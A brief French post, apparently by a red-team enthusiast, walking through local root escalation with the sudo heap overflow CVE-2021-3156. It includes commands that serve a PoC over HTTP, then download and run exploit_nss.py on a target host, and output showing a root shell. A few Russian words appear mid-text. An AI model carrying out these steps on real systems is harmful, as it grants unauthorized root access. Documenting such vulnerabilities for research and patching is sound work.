👑 CVE-2021-3156 (Baron Samedit) — Élévation de privilèges via un débordement de tas dans sudo

📅 Date : 2025-06-08
✍️ Auteur : @TopskiyPavelQwertyGang 🧠 Chercheur en sécurité | Passionné de Red Team

🧠 Vue d'ensemble de la CVE

• CVE-ID : CVE-2021-3156
• Type : Débordement de tampon basé sur le tas
• Composant : sudoedit (sudo)
• Niveau d'accès : Local
• Objectif : Obtention des privilèges root

🧠 Description

Un débordement de tas dans sudoedit permet à un utilisateur local d'obtenir un accès root
lors de l'exécution de la commande sudoedit avec des paramètres spécialement préparés.

L'exploitation est active pour les versions de sudo < 1.9.5p2, y compris les images populaires Ubuntu/Debian/CentOS.
Même avec ASLR activé, la vulnérabilité reste exploitable.

🐾 Conditions d'exploitation

OS     : Ubuntu 20.04.3 LTS
glibc  : 2.31 (tcache ON)
sudo   : 1.8.31 (уязвим)
ASLR   : 2 (включён)

🧪 Préparation de l'environnement

1. Vérification des versions de glibc et sudo :

ldd --version
sudo --version

2. Transfert des scripts PoC depuis une autre machine via le serveur HTTP intégré :

python3 -m http.server 80

3. Sur la machine cible, les scripts PoC sont téléchargés et exécutés :

wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py

🚀 Exploitation réussie du PoC

$ python3 exploit_nss.py
# whoami
root

🧾 Conclusion

L'exploitation de CVE-2021-3156 reste possible même avec ASLR actif, si glibc ≥ 2.26 et sudo est une version vulnérable.
L'exploit exploit_nss.py s'est avéré le plus stable, fonctionnant du premier coup avec une configuration NSS correcte.

🧨 Système sous contrôle.